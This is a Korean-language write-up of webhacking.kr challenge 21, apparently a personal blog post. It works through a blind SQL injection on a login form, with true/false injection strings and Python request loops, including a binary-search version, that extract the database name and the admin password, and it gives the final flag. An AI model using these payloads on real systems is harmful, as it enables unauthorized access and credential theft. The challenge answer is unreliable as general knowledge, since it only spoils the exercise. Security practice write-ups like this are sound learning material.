[webhacking.kr] 21번 문제 풀이[Blind SQL Injection]

2 분 소요

💡 Webhacking.kr challenge(old) 21번 문제에 대한 풀이입니다.

문제

문제 화면

image

문제 풀이

guest / guest 를 입력하면 다음화면과 같이 login success 문구가 나옵니다.

image

guest / 1234를 입력하면 다음과 같이 login fail 문구가 나옵니다.

image

blind sql injection을 수행하기 위해 비밀번호 입력하는 부분에 참 / 거짓을 판단할 수 있는 쿼리문을 작성해 봅니다.

서버쪽 DB에 들어가는 쿼리가 다음과 같이 작성되어 있을것이라 가정하고, $pw부분에 다음 쿼리문들을 입력해 봅니다.

   select * from chall21 where id='$id' and pw='$pw';

' or 1=1 -- : True화면

image

' or 1=2 -- : False화면

image

결과를 보고 추론을 해보자면, sql 문의 결과로 부터 DB에서 id,pw를 불러오고 php에서 한번더 검증을 하는 과정이 있는 것 같습니다.

DB에서 아무것도 반환되지 않으면 -> login fail

DB에서 반환이 되었지만 php 코드에서 한번더 검증할때 값이 틀리면 -> wrong password 로 출력이 되는 것 같습니다.

중요한건 1=1 부분과 1=2 부분에서 참 거짓을 판단할 수 있는 지점을 찾았기 때문에 저곳을 이용해서 Blind sql injection을 수행하겠습니다.

Blind sql injection

우선 DB명 / table명 / 컬럼명 아무것도 알고 있는 것이 없으므로 차례대로 구해보겠습니다. 작업은 Python 코드로 했습니다.

DB이름 구하기

  database_length = 10
  database_name = ''
  for i in range(1,database_length + 1):
      for j in range(127,32,-1):
          payload = "' or ascii(substr(database(),{},1)) = {} -- ".format(i,j)
          params['pw'] = payload
          response = requests.get(url,params=params)
          if(TRUE_FLAG in response.text):
              database_name += chr(j)
              print('database_name = ' + database_name)
              break
  print("database_name =" + database_name)

코드 실행결과 DB이름은 ‘webhacking’이었습니다. 그다음은 information_schema 를 이용해서 table명을 알아내려고 했는데, select문이 필터링 되어 있었습니다.

image

그래서 원래는 다음과 같이 페이로드를 구성하고 injection을 수행하려고 했는데 이 방법은 안될것 같습니다.

  for i in range(20):
    for j in range(32,127):
        payload = "' or (select ascii(substr(table_name,{},1)) from information_schema.tables where table_schema='webhacking') = {} -- ".format(i,j)

여러가지 삽집을 좀 해본결과 column명을 한번 추측해서 해봤습니다. id 값을 저장하는 컬럼명을 ‘id’, pw 값을 저장하는 컬럼명을 ‘pw’로 가정하고 blind sql injection을 수행하니 풀렸습니다. 이때 사용한 코드는 다음과 같습니다.

  def get_password_length():
    for i in range(1,100):
        payload = "' or length(pw) = {} and id='admin' -- ".format(str(i))
        params['pw'] = payload
        response = requests.get(url,params=params)
        
        if('wrong password' in response.text):
            print("find password length")
            return i

추가로 저의 payload를 보면 or length(pw) = {} and id='admin' -- 으로 id=’admin’인 조건을 걸어줬습니다. 해당 조건을 안걸어 주면 id=’guest’인 경우의 비밀번호도 같이 조건을 만족하게 되기 때문입니다.

위의 코드로 실행해본 결과 컬럼에 있는 데이터의 길이는 36자리 였습니다.

그 다음은 비밀번호를 알아내는 코드입니다. 일반적으로는 for문 반복 부분에서 ascii코드 값을 1씩 증가시켜서 단순 비교를 하지만, 저는 binary search 알고리즘을 사용해서 성능을 훨씬 올렸습니다.

예를들어

  for i in range(32,127):
    payload = ' or ascii(substr(pw,1,1)) = {}-- '.format(i)

이렇게 작성하면 만약 비밀번호의 첫번째 값이 z라면 아스키 코드값이 122라서 무려 90번의 시도를 하고나서야 첫번째 글자를 찾을 수 있습니다.

하지만 binary search 알고리즘을 사용하면 저는 최대 8번 안에 무조건 값을 찾아낼 수 있기 때문에 성능 차이가 많이 납니다.

본 문제에서는 찾아야하는 비밀번호가 무려 36자리이기 때문에 보다 확실한 성능 차이가 났습니다.

단순 반복문은 쿼리를 3420번 을 수행했고, binary search 알고리즘은 쿼리를 210번 수행해서 결과를 도출해 냈습니다.평균적으로 단순 반복문은 하나의 글자를 찾기 위해서 95번의 쿼리를, binary search는 6번의 쿼리를 수행했습니다.

단순 반복문 결과 : image

binary Search 결과 : image

최종 비밀번호 : there_is_no_rest_for_the_white_angel

사용한 코드는 다음과 같습니다

댓글남기기